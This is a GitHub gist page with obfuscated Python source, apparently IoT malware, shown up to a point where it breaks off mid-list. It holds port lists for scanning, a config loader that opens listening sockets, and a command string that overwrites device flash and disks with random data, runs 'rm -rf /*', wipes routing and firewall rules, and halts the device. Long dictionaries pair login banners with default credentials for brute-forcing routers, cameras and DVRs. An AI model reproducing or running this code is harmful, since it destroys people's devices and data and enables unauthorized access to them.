Skip to content

Instantly share code, notes, and snippets.

@zenware
Created February 28, 2018 18:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zenware/ad80d30217cb523737b94c8e685ae85d to your computer and use it in GitHub Desktop.
Save zenware/ad80d30217cb523737b94c8e685ae85d to your computer and use it in GitHub Desktop.
if 82 - 82: i1 / Ii11i1iIi - i1IIi1i1iiI
if 84 - 84: IIiIii1iI . Ii % oOoO0Ooo / O0oo / O0oo0OOOOO00
if 49 - 49: o0oooooO / Ii11i1iIi * O0oo
if 21 - 21: Oooo - I11I1Ii
if 39 - 39: i1 . i1IIi1i1iiI - OOOoOooO / o0ooO
if 95 - 95: IIiII - Ii11i1iIi / O0oo0OOOOO00 + o0oooooO
time . sleep ( 3 )
if 20 - 20: Oo0
if 57 - 57: O0oo0OOOOO00 . Oo0 + IIiIii1iI * OOOoOooO . o0ooO * i1
if 93 - 93: Ii11i1iIi - Oo0Oo . Oooo . oOoO0Ooo * IIiII % i1
if 60 - 60: o0oooooO + Ii + Ii % o0oooooO
if 84 - 84: I11I1Ii * Ii11i1iIi
I1IiI1I1 = OOo0O0oOOOO
if 4 - 4: Oooo + oOOo0000o
if 43 - 43: I11I1Ii * oOoO0Ooo * i1IIi1i1iiI * i1 . OOooOO0
i111IIIiII1i = False
Oo0O00OOooO = False
IiiI1 = False
oOI11IIIi1II111 = True
iiIII11I1i1Ii = True
I1i = True
i11iiiIi = True
i1iii = True
OOoOo00oO0 = True
OO00oo0o = True
if 5 - 5: IIiII + O0oo - i1
if 52 - 52: oOoO0Ooo / Ii / Ii
if 24 - 24: oOOoO00oo0
i11 = [ ]
II1I1i11 = [ 23 , 2222 , 2323 , 7547 , 5555 , 23231 , 6789 , 37777 , 19058 , 5358 , 8023 , 8022 , 1433 , 3306 , 445 , 110 , 21 , 88 , 81 , 8080 , 8081 , 49152 , 5431 ]
if 69 - 69: Ii * IIiIIiIii1I % oOoO0Ooo / Ii11i1iIi
O0oO0ooooOO = [ ]
Iiii = { }
oOo00o = [ ]
O0oOo = { }
I1I1I11 = { }
if 53 - 53: O0oo . OOOoOooO % i1IIi1i1iiI % O0oo + O0oo * IIiII
if 27 - 27: i1IIi1i1iiI / i1IIi1i1iiI - IIiIIiIii1I % O0oo0OOOOO00 % Ii / Ii
OoooOoo0 = [ 80 , 81 , 82 , 8000 , 5555 , 8080 , 7547 , 8081 , 37215 , 52869 ]
oOiI1iIiIi111 = [ 22 , 23 , 80 , 81 , 82 , 8000 , 2222 , 2323 , 8080 , 8081 , 23231 , 23123 , 6789 , 7547 , 5555 , 19058 , 8023 , 8022 , 5358 , 5000 , 5001 , 8888 , 9000 , 88 , 12323 , 8181 , 60023 ]
I1i11II = 30
I1i1 = 10
O0OoO0O = 17
o0o = 3
o0o0oOOo = [ ]
oO0iIiiiii1 = { }
i11I11III1iii = { }
O0OO0O00000 = { }
OooO = { }
O000O0o0oOOo = { }
i1II = { }
ii1o00 = [ ]
i1IIOO0OOoO00OO = 0
I1i11IIii1iI1i1 = time . time ( )
if 91 - 91: I11I1Ii
iIii1IiI11II1 = [ 22 , 2222 , 5358 , 6789 , 19058 ]
if 65 - 65: O0oo / OOooOO0 % Oo0 / Ii % Ii11i1iIi
if 75 - 75: Ii11i1iIi % Ii11i1iIi * I11I1Ii / Oooo / Oo0Oo * O0oo0OOOOO00
iiI1iiI = [ 22 , 23 , 2222 , 2323 , 6789 ]
IIIii = 1
iIoO0O000oo = [ 15 , 30 , 60 , 120 , 240 , 480 ]
Oo0Oooo = [ ]
IiIIiI1iII1Ii = [ ]
oO0OoOoO00OoO = { }
if 55 - 55: o0oooooO . O0oo0OOOOO00 . i1IIi1i1iiI % Oooo / IIiIii1iI - i1IIi1i1iiI
if 50 - 50: i1IIi1i1iiI . Oooo - Oooo . IIiII
if 47 - 47: IIiIIiIii1I % Oo0Oo - oOOoO00oo0 + o0ooO
if 47 - 47: I11I1Ii
i1I1 = 100
OoO00 = 3
if 45 - 45: O0oo * o0ooO - oOOo0000o
ooiI1 = 90
O0oOOoO = 600
oOooOooO0ooO = 20
if 27 - 27: i1
if 90 - 90: IIiII . Oooo - o0ooO % o0oooooO - IIiIIiIii1I
if 40 - 40: Oo0Oo / o0ooO / oOoO0Ooo . IIiIii1iI . o0ooO
ii11II = 'cat /proc/mounts\ncat /dev/urandom | mtd_write mtd0 - 0 32768\ncat /dev/urandom | mtd_write mtd1 - 0 32768\n'
ii11II += 'busybox cat /dev/urandom >/dev/mtd0 &\nbusybox cat /dev/urandom >/dev/sda &\nbusybox cat /dev/urandom >/dev/mtd1 &\nbusybox cat /dev/urandom >/dev/mtdblock0 &\nbusybox cat /dev/urandom >/dev/mtdblock1 &\nbusybox cat /dev/urandom >/dev/mtdblock2 &\nbusybox cat /dev/urandom >/dev/mtdblock3 &\n'
ii11II += 'busybox route del default\ncat /dev/urandom >/dev/mtdblock0 &\ncat /dev/urandom >/dev/mtdblock1 &\ncat /dev/urandom >/dev/mtdblock2 &\ncat /dev/urandom >/dev/mtdblock3 &\ncat /dev/urandom >/dev/mtdblock4 &\ncat /dev/urandom >/dev/mtdblock5 &\ncat /dev/urandom >/dev/mmcblk0 &\ncat /dev/urandom >/dev/mmcblk0p9 &\ncat /dev/urandom >/dev/mmcblk0p12 &\ncat /dev/urandom >/dev/mmcblk0p13 &\ncat /dev/urandom >/dev/root &\ncat /dev/urandom >/dev/mmcblk0p8 &\ncat /dev/urandom >/dev/mmcblk0p16 &\n'
ii11II += 'route del default;iproute del default;ip route del default;rm -rf /* 2>/dev/null &\niptables -F;iptables -t nat -F;iptables -A INPUT -j DROP;iptables -A FORWARD -j DROP\nhalt -n -f\nreboot\n'
if 57 - 57: IIiIii1iI + i1 * i1IIi1i1iiI
if 36 - 36: oOOoO00oo0 / oOOo0000o
if 28 - 28: IIiIIiIii1I + Ii * i1 % IIiIIiIii1I
if 66 - 66: OOooOO0 % O0oo0OOOOO00
if 36 - 36: OOOoOooO / O0oo . Ii11i1iIi / o0ooO - o0ooO % i1IIi1i1iiI
def Oo000o0OOOo ( filename , bootup = False ) :
global i111IIIiII1i
global Oo0O00OOooO
global IiiI1
global oOI11IIIi1II111
global iiIII11I1i1Ii
global I1i
global i11iiiIi
global i1iii
global OOoOo00oO0
global OO00oo0o
global II1I1i11
global oOiI1iIiIi111
global OoooOoo0
if 12 - 12: Oooo
Ooo0OO00 = [ ]
oOo0oo = [ ]
iII = [ ]
Ooo0o0 = 0
if 13 - 13: i1IIi1i1iiI - oOOoO00oo0
if 30 - 30: oOOoO00oo0 / i1 - IIiII - Oooo * Oo0Oo * IIiII
try :
iiI = open ( filename , 'r' )
iiIi1IiII = iiI . read ( ) . split ( '\n' )
for III1I in iiIi1IiII :
Oo00oO0O = re . search ( 'sTN: (\d+)' , III1I )
if Oo00oO0O :
i111IIIiII1i = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sSO: (\d+)' , III1I )
if Oo00oO0O :
Oo0O00OOooO = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sSR: (\d+)' , III1I )
if Oo00oO0O :
IiiI1 = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sSD: (\d+)' , III1I )
if Oo00oO0O :
oOI11IIIi1II111 = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sBR: (\d+)' , III1I )
if Oo00oO0O :
iiIII11I1i1Ii = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sBL: (\d+)' , III1I )
if Oo00oO0O :
I1i = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'sWP: (\d+)' , III1I )
if Oo00oO0O :
i11iiiIi = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'eSC: (\d+)' , III1I )
if Oo00oO0O :
i1iii = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'eBR: (\d+)' , III1I )
if Oo00oO0O :
OOoOo00oO0 = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
Oo00oO0O = re . search ( 'eWP: (\d+)' , III1I )
if Oo00oO0O :
OO00oo0o = bool ( int ( Oo00oO0O . group ( 1 ) ) )
Ooo0o0 += 1
if 'aLP: ' in III1I [ : 7 ] :
Ooo0o0 += 1
III11 = re . compile ( '(\d+)' )
Ii11I = [ ] ;
for OO0OO in III11 . finditer ( III1I ) :
if not OO0OO in Ii11I :
Ii11I . append ( int ( OO0OO . group ( 1 ) ) )
Ooo0OO00 = Ii11I
if 'aSC: ' in III1I [ : 7 ] :
Ooo0o0 += 1
III11 = re . compile ( '(\d+)' )
Ii11I = [ ] ;
for OO0OO in III11 . finditer ( III1I ) :
if not OO0OO in Ii11I :
Ii11I . append ( int ( OO0OO . group ( 1 ) ) )
oOo0oo = Ii11I
if 'aWP: ' in III1I [ : 7 ] :
Ooo0o0 += 1
III11 = re . compile ( '(\d+)' )
Ii11I = [ ] ;
for OO0OO in III11 . finditer ( III1I ) :
if not OO0OO in Ii11I :
Ii11I . append ( int ( OO0OO . group ( 1 ) ) )
iII = Ii11I
iiI . close ( )
except :
Ii111i11iIi ( 'ERR: Sentinel could not read config.' )
return
if Ooo0o0 < 9 :
if 81 - 81: IIiIIiIii1I % O0oo0OOOOO00 + I11I1Ii
Ii111i11iIi ( "NOTC: Sentinel ignoring config due to lack of data." )
return
oOiI1iIiIi111 = oOo0oo
OoooOoo0 = iII
if 62 - 62: o0oooooO + OOooOO0 + I11I1Ii
if bootup :
II1I1i11 = Ooo0OO00
return
if 39 - 39: Ii11i1iIi * o0ooO / IIiII / I11I1Ii
if 94 - 94: IIiIii1iI * o0ooO + Oo0Oo * IIiIii1iI * Ii11i1iIi
for Ooo0o0oOO0o in Ooo0OO00 :
if not Ooo0o0oOO0o in II1I1i11 :
O0O0 = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0O0 . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 )
try :
O0O0 . bind ( ( '0.0.0.0' , int ( Ooo0o0oOO0o ) ) )
O0O0 . listen ( 5 )
O0oO0ooooOO . append ( O0O0 )
Iiii [ int ( Ooo0o0oOO0o ) ] = O0O0
Ii111i11iIi ( "NOTC: Sentinel added listening port %d" % ( int ( Ooo0o0oOO0o ) ) )
except :
pass
for Ooo0o0oOO0o in II1I1i11 :
if not Ooo0o0oOO0o in Ooo0OO00 :
if 85 - 85: oOoO0Ooo - o0ooO
if int ( Ooo0o0oOO0o ) in Iiii :
O0O0 = Iiii [ int ( Ooo0o0oOO0o ) ]
if O0O0 in O0oO0ooooOO :
try :
O0O0 . close ( )
except :
pass
O0oO0ooooOO . remove ( O0O0 )
Iiii [ int ( Ooo0o0oOO0o ) ] = None
Ii111i11iIi ( "NOTC: Sentinel removed listening port %d" % ( int ( Ooo0o0oOO0o ) ) )
II1I1i11 = Ooo0OO00
if 24 - 24: IIiIIiIii1I - i1IIi1i1iiI . o0oooooO / oOOo0000o . OOOoOooO
Oo000o0OOOo ( '/tmp/system/control.cfg' , True )
if 29 - 29: i1IIi1i1iiI + O0oo * Oo0Oo * OOOoOooO - OOooOO0 * i1IIi1i1iiI
if 36 - 36: oOOo0000o
if 36 - 36: Ii11i1iIi + IIiIIiIii1I - oOOoO00oo0 . Oo0 - Oo0Oo . O0oo0OOOOO00
if 65 - 65: OOOoOooO * OOOoOooO * oOOo0000o % i1 . Oo0 - O0oo
i1I1iIIi1 = [
[ 'Login authentication' ,
'admin/' ,
'root/' ,
'password/password' ,
'telecom/telecom' ,
'admin/admin' ,
'root/root' ,
] ,
[ 'Password:' ,
'/' ,
'/' ,
] ,
[ 'GAPM-\d\d\d\d login' ,
'root/root' ,
] ,
[ 'PORT:9527:' ,
'admin/' ,
'admin/admin' ,
'admin/123456' ,
'admin/' ,
'admin/12345' ,
'admin/aa888888' ,
'admin/admin' ,
'admin/1234' ,
'admin/888888' ,
'admin/123456' ,
'admin/0000' ,
'admin/1111' ,
'admin/666666' ,
'admin/654321' ,
'admin/111111' ,
'admin/123' ,
'admin/1' ,
'admin/admin123' ,
'admin/123abc456' ,
'admin/000000' ,
'admin/7773' ,
'admin/112233' ,
'admin/8888' ,
'admin/1453' ,
'admin/34567' ,
'admin/686868' ,
'admin/12345678' ,
'admin/900009' ,
'admin/54321' ,
'admin/2499' ,
'admin/123321' ,
'admin/bdc3939' ,
'admin/4321' ,
'admin/88888888' ,
'admin/abc123' ,
'admin/admin1' ,
'admin/9914' ,
'admin/168168' ,
'admin/spc123' ,
'admin/sks12345' ,
'admin/1212' ,
'admin/13579' ,
'admin/102030' ,
'admin/34588' ,
'admin/1122' ,
'admin/121234' ,
'admin/11111' ,
'admin/9999' ,
'admin/81171762' ,
'admin/2580' ,
'admin/999999' ,
'admin/9742' ,
'admin/2016' ,
'admin/1974' ,
'admin/admin12345' ,
'admin/peak0429' ,
'admin/123654' ,
'admin/1987' ,
'admin/1988' ,
'admin/siera' ,
'admin/2734988' ,
'admin/55555' ,
'admin/1023' ,
'admin/123123' ,
'admin/88888' ,
'admin/9001' ,
'admin/123456789' ,
'admin/1985'
'admin/1010' ,
'admin/2014' ,
'admin/7777777' ,
'admin/1976' ,
'admin/2222' ,
'admin/222222' ,
'admin/7764' ,
'admin/54637767' ,
'admin/00000' ,
'admin/5555' ,
'admin/0257' ,
'admin/717766' ,
'admin/555' ,
'admin/1234567' ,
'admin/1103' ,
'admin/121212' ,
'admin/1967' ,
'admin/456' ,
] ,
]
if 99 - 99: OOooOO0 - O0oo0OOOOO00 - O0oo / OOOoOooO . Ii
if 49 - 49: O0oo0OOOOO00
ooo0o00O00 = [
[ 'GM login:' ,
"root/GM8182" ,
] ,
[ 'LocalHost login:' ,
'root/xc3511' ,
"root/xmhdipc" ,
] ,
[ '\(none\) login:' ,
'vstarcam2015/20150602' ,
'root/5up' ,
'root/' ,
'root/vizxv' ,
"root/juantech" ,
"root/zlxx." ,
'root/antslq' ,
'admin/admin' ,
'root/123456' ,
'root/1001chin' ,
'root/win1dows' ,
'admin/7ujMko0admin' ,
'user/user' ,
'root/jvbzd' ,
'root/123' ,
'admin/0000' ,
'ftp/ftp' ,
'root/7ujMko0vizxv ' ,
'root/hunt5759' ,
'123/123' ,
'root/ivdev' ,
] ,
[ 'Welcome to Zhone Technologies' ,
'admin/zhone' ,
] ,
[ 'host login:' ,
'root/vizxv' ,
] ,
[ 'TL-WR7' ,
'root/5up' ,
] ,
[ 'F6' ,
'root/Zte521' ,
] ,
[ 'netween\.co\.kr' ,
'baby/baby' ,
] ,
[ 'kopp login' ,
'root/kopp' ,
] ,
[ 'MikroTik' ,
'admin/' ,
'user/user' ,
'admin/' ,
'installer/installer' ,
'admin/admin' ,
'test/test' ,
'admin/12345' ,
'admin/passw0rd' ,
'admin/1234567890' ,
'admin/password' ,
'admin/admin123' ,
'support/support' ,
'admin/11111111' ,
'admin/P@55w0rd!' ,
'admin/888888' ,
'admin/1234' ,
'admin/123456' ,
'admin/tsunami' ,
'admin/admin1' ,
'0/0' ,
'guest/guest' ,
'admin/123' ,
'admin/1111' ,
'admin/admin1234' ,
'admin/654321' ,
'admin/4321' ,
'admin/admin99' ,
'admin/operator' ,
'admin/hello' ,
'admin/54321' ,
'admin/666666' ,
'test/test123' ,
'root/root' ,
'operator/operator' ,
'monitor/monitor' ,
'admin/abc123' ,
'admin/system' ,
'admin/secure' ,
'router/router' ,
'ftp/ftp' ,
'Admin/Admin' ,
'admin/0000' ,
'ubnt/ubnt' ,
'guest/123456' ,
'1234/1234' ,
'admin/Admin123' ,
'admin/admin00' ,
'admin/99999999' ,
'admin/motorola' ,
'admin/administrator' ,
'admin/2222' ,
'user/admin' ,
'root/root1234' ,
'root/root123' ,
'root/qwerty' ,
'root/password' ,
'root/12345' ,
'root/1234' ,
'root/123' ,
'guest/guest123' ,
'admin/vnpt' ,
'admin/test' ,
'admin/root' ,
'admin/power' ,
'Administrator/' ,
'admin/diamond' ,
'admin/conexant' ,
'admin/atlantis' ,
'admin/ADMIN' ,
'1/1' ,
'root/12345678' ,
'888888/888888' ,
] ,
[ 'Welcome to JNIOR' ,
'jnior/jnior' ,
'admin/admin' ,
'jnior/1234' ,
'admin/1234' ,
] ,
[ 'Welcome to slush' ,
'jnior/jnior' ,
'admin/admin' ,
'jnior/1234' ,
'admin/1234' ,
'root/tini' ,
'guest/guest' ,
] ,
[ 'heluyou login' ,
'admin/h@32LuyD' ,
] ,
[ 'OpenEmbedded Linux mdm9625' ,
'admin/admin' ,
] ,
[ 'PK5001Z login' ,
'admin/CenturyL1nk' ,
'admin/CTLSupport12' ,
'admin/QwestM0dem' ,
] ,
[ 'Ruijie login' ,
'ruijie/ruijie' ,
] ,
[ 'DSL-500B' ,
'TMAR#DLKT20060205/DLKT20060205\n' ,
'admin/admin\n' ,
] ,
[ 'BusyBox on \S+ login' ,
'admin/admin' ,
'admin/1234' ,
'root/Admin' ,
'root/' ,
'root/admin' ,
'user/user' ,
'admin/QwestM0dem' ,
'admin/xad$l#12' ,
'root/12345' ,
'root/password' ,
'root/1234567890' ,
'root/123456' ,
'admin/password' ,
'root/1234' ,
'Admin/Admin' ,
'admin/1111' ,
'admin/admin123' ,
'admin/qwerty' ,
'admin/nimda' ,
] ,
[ 'Account:' ,
'admin/1234' ,
] ,
[ 'ktcatv login' ,
'super/root' ,
'admin/admin' ,
] ,
[ 'Actiontec xDSL Router' ,
'admin/CenturyL1nk' ,
'admin/CTLSupport12' ,
'admin/QwestM0dem' ,
] ,
[ '!Login:' ,
'admin/admin' ,
'admin/ho4uku6at' ,
'root/root' ,
'support/support' ,
'admin/admin1' ,
'admin/1234' ,
'admin/epicrouter' ,
'admin/admin1234' ,
'admin/admin123' ,
'admin/12345' ,
'telecomadmin/nE7jA%5m' ,
'admin/1111' ,
'admin/888888' ,
'admin/54321' ,
'supervisor/zyad1234' ,
'admin/123' ,
'admin/root' ,
'admin/system' ,
'manager/friend' ,
'admin/123456' ,
'admin/4321' ,
'anonymous/anonymous' ,
] ,
[ '(Router;Login|Gateway;Login)' ,
'admin/admin' ,
'admin/1234' ,
'superadmin/Is$uper@dmin' ,
'root/12345' ,
'admin/password' ,
'user/user' ,
'tmadmin/tmadmin' ,
'support/support' ,
'support/admin' ,
'admin/ho4uku6at' ,
'1234/1234' ,
'supervisor/zyad1234' ,
'admin/362729' ,
'user/password' ,
'admin/admin1' ,
'admin/admin1234' ,
'admin/admin123' ,
'admin/abc123' ,
'admin/12345' ,
'admin/123' ,
'root/root' ,
'admin/1111' ,
'admin/administrator' ,
'admin/power' ,
'root/admin' ,
'admin/123456' ,
'ZXDSL/ZXDSL' ,
'admin/gvt12345' ,
'telecomadmin/nE7jA%5m' ,
'tech/tech' ,
'ADSL/export03' ,
'admin/adslroot' ,
'admin/utstar' ,
'admin/CenturyL1nk' ,
'admin/CTLSupport12' ,
] ,
[ '!Username:' ,
'admin/admin' ,
'user/user' ,
'telecomadmin/nE7jA%5m' ,
'guest/guest' ,
] ,
[ 'UTT login:' ,
'admin/admin' ,
'admin/123456' ,
'admin/54321' ,
'admin/admin123' ,
'admin/password' ,
'admin/Admin123' ,
'admin/1234567890' ,
'admin/*58298' ,
'admin/2oiidxii22' ,
'admin/19761213' ,
'admin/4276365' ,
'admin/nimda' ,
'admin/adminadmin' ,
'admin/guest' ,
'admin/a' ,
'admin/ADMIN' ,
'admin/administrator' ,
'admin/adminstrator' ,
'admin/root' ,
'guest/guest' ,
'guest/123456' ,
] ,
[ 'DSL5\S+ login:' ,
"admin/admin" ,
"admin/bayandsl" ,
] ,
[ 'TELNET session now in ESTABLISHED state' ,
'Manager/friend' ,
] ,
[ 'Remote Management Console' ,
'netscreen/netscreen' ,
'localadmin/localadmin' ,
] ,
[ 'ANS\d\d\S+ login' ,
'telnet/telnet' ,
] ,
[ 'hktos login' ,
'root/public' ,
] ,
[ 'H6\d\S+ login' ,
'root/vertex25ektks123' ,
] ,
[ 'VMG\d+\-B10D' ,
'root/zyad1234' ,
'supervisor/zyad1234' ,
'admin/admin1234' ,
'admin/admin' ,
'admin/1234' ,
'admin/password' ,
'zyuser/1234' ,
'support/support' ,
'user/user' ,
] ,
[ 'tc login' ,
'admin/1234' ,
'root/vertex25ektks123' ,
'admin/admin' ,
'support/support' ,
'admin/12345' ,
'admin/admin1' ,
'admin/123456' ,
'admin/password' ,
'admin/0000' ,
'admin/ttnet' ,
'admin/4321' ,
'admin/1234567890' ,
'admin/admin123' ,
'admin/1111' ,
'admin/54321' ,
'admin/admin1234' ,
'admin/654321' ,
'admin/administrator' ,
'engineer/amplifier' ,
'admin/service' ,
'admin/adsl' ,
] ,
[ '(ralink|aquario) login' ,
'Admin/' ,
'admin/aquario' ,
'admin/admin' ,
'Admin/123456' ,
'admin/h@32LuyD' ,
'admin/aquario' ,
'Admin/' ,
'admin/admin' ,
'Admin/' ,
] ,
[ 'Welcome to RS' ,
'admin/admin' ,
'write/private' ,
] ,
[ 'telnet session telnet0' ,
'test1/test1' ,
] ,
[ '870HNU' ,
'1234/1234' ,
] ,
[ 'Ubee Interactive Corporation Telnet Server' ,
'root/root' ,
] ,
[ 'davolink login' ,
'root/admin' ,
'admin/admin' ,
'davo/drc' ,
] ,
[ 'login :' ,
'admin/switch' ,
] ,
[ 'Comtrend Gigabit' ,
'1234/1234' ,
] ,
[ 'SAMSUNG ELECTRONICS .*Login' ,
'root/' ,
'admin/password' ,
] ,
[ 'iGate .*ADSL' ,
'admin/vnpt' ,
'operator/operator' ,
] ,
[ 'DD-WRT v24' ,
'root/samsung' ,
] ,
[ 'MontaVista.*Linux' ,
'ftp/ftp' ,
'admin/admin' ,
'service/service' ,
'admin/123456' ,
] ,
[ 'Aamra Networks LIMITED' ,
'support/support123' ,
] ,
[ 'domain\.name login' ,
'Admin/' ,
] ,
[ 'EDR\-\S+ login' ,
'user/' ,
] ,
[ '(192.0.0.64|dvrdvs|Hikvision) login' ,
'root/12345' ,
'root/888888' ,
'root/54321' ,
'root/123456' ,
'root/000000' ,
'root/00000' ,
'root/1234' ,
'root/1' ,
'root/123' ,
'root/1234567890' ,
'root/321' ,
'root/1234567' ,
'root/123123' ,
'root/696969' ,
'root/4321' ,
'root/1111' ,
'root/1234qwer' ,
'root/password' ,
'root/pu' ,
'root/0000' ,
'root/admin' ,
'root/5555' ,
'root/7777' ,
'root/11111' ,
'root/654321' ,
'root/hikvision' ,
'root/123456789abc' ,
'admin/12345' ,
'admin/1234' ,
'admin/1234567890' ,
'admin/admin1234' ,
'admin/123456' ,
'admin/admin' ,
'admin/666666' ,
'admin/654321' ,
'admin/1111' ,
'admin/admin1' ,
'admin/22222' ,
'admin/power' ,
'admin/abc123' ,
'admin/11111111' ,
'admin/2222' ,
'admin/0000' ,
'admin/4321' ,
'admin/123456789abc' ,
'guest/12345' ,
'hikvision/hikvision' ,
] ,
[ '[rR][tT]-2\d+ login' ,
'root/ttnet' ,
] ,
[ '(t4-main|sanyo-board|smarteyes) login' ,
'root/m' ,
'root/mobiroot' ,
'mg3500/merlin' ,
] ,
[ 'meritlilin' ,
'root/pass' ,
] ,
[ 'MultiQb login' ,
'root/admin' ,
] ,
[ 'Avaya Cajun' ,
'diag/danger' ,
] ,
[ 'DB88FXX81 login' ,
'root/svgodie' ,
] ,
[ 'Draytek login' ,
'draytek/1234' ,
] ,
[ 'Tera-EP login' ,
'admin/admin' ,
'admin/1q2w3e' ,
] ,
[ 'HDFW System' ,
'hscroot/abc123' ,
] ,
[ 'Copyright \(c\) 2004-20\d\d Hangz' ,
'admin/admin' ,
'admin/admin123' ,
'admin/123456' ,
'admin/' ,
'root/admin' ,
'admin/Admin' ,
'admin/admin1' ,
'admin/admin1234' ,
'telecom/telecom' ,
'webadmin/webadmin' ,
'guest/guest' ,
'123/123' ,
'root/123' ,
'user/user' ,
'root/root' ,
'admin/system' ,
'admin/adminadmin' ,
'root/' ,
'telecomadmin/nE7jA%5m' ,
'root/123456' ,
'admin/0000' ,
'admin/654321' ,
'simple/h3c' ,
] ,
[ 'Copyright \(c\) 2010-2012 Hewle' ,
'admin/admin' ,
'admin/admin123' ,
'admin/password' ,
] ,
[ 'Dlink-Router login' ,
'admin/qwerty' ,
'admin/admin' ,
'admin/12345' ,
'admin/123456' ,
] ,
[ 'this is ROS' ,
'administrator/administrator' ,
] ,
[ 'AG 5\d+' ,
'operator/operator' ,
] ,
[ 'BCM99999.*VosLogin' ,
'admin/zhone' ,
'root/1234567890' ,
'root/54321' ,
'admin/Admin' ,
'IntraStack/Asante' ,
'root/cat1029' ,
'admin/smcadmin' ,
'admin/admin' ,
'admin/4321' ,
'admin/1234' ,
'admin/1234567890' ,
'ubnt/ubnt' ,
'guest/guest123' ,
'root/' ,
'quser/quser' ,
'user/user' ,
'Alphanetworks/wrgn23_dlwbr_dir600b' ,
] ,
[ 'BCM963268 Broadband' ,
'support/support' ,
'support/1234' ,
'admin/admin' ,
'1234/1234' ,
'admin/adslroot' ,
'admin/CenturyL1nk' ,
] ,
[ 'BCM96338 ADSL' ,
'admin/password' ,
'support/support' ,
'admin/362729' ,
'admin/263297' ,
'admin/admin' ,
] ,
[ 'BCM96328 Broadband' ,
'admin/password' ,
'admin/admin' ,
'support/support' ,
'user/user' ,
'1234/1234' ,
'user/user' ,
'admin/administrator' ,
'support/1234' ,
'root/12345' ,
'admin/gvt12345' ,
'admin/362729' ,
'admin/' ,
] ,
[ 'BCM96818 Broadband' ,
'user/user' ,
'admin/password' ,
'user/password' ,
] ,
[ 'BCM96318 Broadband' ,
'support/support' ,
'admin/admin' ,
'superadmin/Is$uper@dmin' ,
'user/user' ,
'admin/ho4uku6at' ,
'support/1234' ,
'admin/admin1234' ,
'admin/admin01' ,
] ,
[ 'BCM96362 Broadband' ,
'user/' ,
] ,
[ 'BCM96368 xDSL' ,
'support/support' ,
'telecomadmin/nE7jA%5m' ,
] ,
[ 'Residential Gateway' ,
'support/support' ,
'user/password' ,
] ,
[ 'router login:' ,
'admin/1234' ,
'user/1234' ,
] ,
[ 'NetComm ADSL2\S Wireless Router' ,
'admin/admin' ,
'support/support' ,
'admin/362729' ,
] ,
[ 'Embedded Telnet Server.*WARNING:.*authorized users only' ,
'cisco/cisco' ,
] ,
[ 'User Access Verification' ,
"admin/admin" ,
"cisco/cisco" ,
"root/root" ,
"admin/" ,
"cisco/" ,
"Cisco/Cisco" ,
"admin/cisco" ,
"administrator/administrator" ,
"Advertisements/Advertisements" ,
"admin/123456" ,
"admin/password" ,
"admin/admin123" ,
"Administrator/password" ,
"Admin/123" ,
"router/router" ,
"test/test123" ,
"service/service" ,
'admin/admin12345' ,
'test/test' ,
'admin/test' ,
'root/1234' ,
'telecom/telecom' ,
'user/user' ,
'admin/admin1' ,
'Admin/123' ,
'nagios/nagios' ,
'mg3500/merlin' ,
'Admin/1234' ,
'piranha/piranha' ,
'admin/root' ,
'admin/ADMIN' ,
'guest/guest' ,
'admin/1234567890' ,
'root/root1234' ,
'support/123456' ,
'test1/test1' ,
] ,
[ 'DAM-2160i' ,
'admin/888888' ,
] ,
[ 'Please login' ,
'super/sp-admin' ,
'admin/password' ,
'admin/sp-admin' ,
] ,
[ 'Admin/Admin' ,
'Admin/Admin' ,
] ,
[ 'Elsist.*maintenance shell' ,
'Admin/Admin' ,
] ,
[ '(Welcome Visiting Huawei Home|ATP Cli)' ,
'admin/admin' ,
'user/user' ,
'root/admin' ,
'admin/1234' ,
'support/support' ,
] ,
[ '(AONT login|## login ##|192\.168\.0\.0 login)' ,
'ONTUSER/SUGAR2A041' ,
'root/root' ,
'root/huigu309' ,
'admin/admin' ,
'IUSACELL/admin' ,
'usradmin/usradmin' ,
'CRAFTSPERSON/ALC#FGU' ,
] ,
[ 'Air\S+ login' ,
'root/12341234' ,
'root/admin' ,
'root/' ,
'admin/airlive' ,
'root/1234567' ,
'root/12341234' ,
'root/ttnet' ,
'root/1111' ,
'root/1020304' ,
] ,
[ 'RT\-\d+\S+ login' ,
'root/12341234' ,
'root/Admin' ,
'root/ttnet' ,
'root/00000' ,
'admin/qwerty' ,
] ,
[ 'WR\d\d\S+ login' ,
'telnet/telnet' ,
] ,
[ 'ANS\S+ login' ,
'telnet/telnet' ,
] ,
[ 'Huawei Home Gateway' ,
'support/support' ,
] ,
[ 'FG1060N login' ,
"root/20080826"
] ,
[ 'HT-TM05 login' ,
"root/20080826"
] ,
[ 'M2M login' ,
"root/20080826"
] ,
[ 'NEXTAV login' ,
"root/20080826"
] ,
[ 'SVWIFI login' ,
"root/20080826"
] ,
[ 'TM01 login' ,
"root/20080826"
] ,
[ 'TM02 login' ,
"root/20080826"
] ,
[ 'WD02 login' ,
"root/20080826"
] ,
[ 'WD-N2 login' ,
"root/20080826"
] ,
[ 'WeZeeCard login' ,
"root/20080826"
] ,
[ 'WiDisk login' ,
"root/20080826"
] ,
[ 'WIFIUSB2 login' ,
"root/20080826"
] ,
[ 'ShAirDisk login' ,
"root/20080826"
] ,
[ 'aigoWiFi login' ,
"root/20080826"
] ,
]
if 32 - 32: oOOo0000o - Oo0Oo * OOooOO0 . Oo0Oo / oOOoO00oo0 % Oooo
I1IIiI1i = [
"root/root" ,
"admin/admin" ,
"root/vizxv" ,
"root/GM8182" ,
"root/xc3511" ,
"root/xmhdipc" ,
"admin/1234" ,
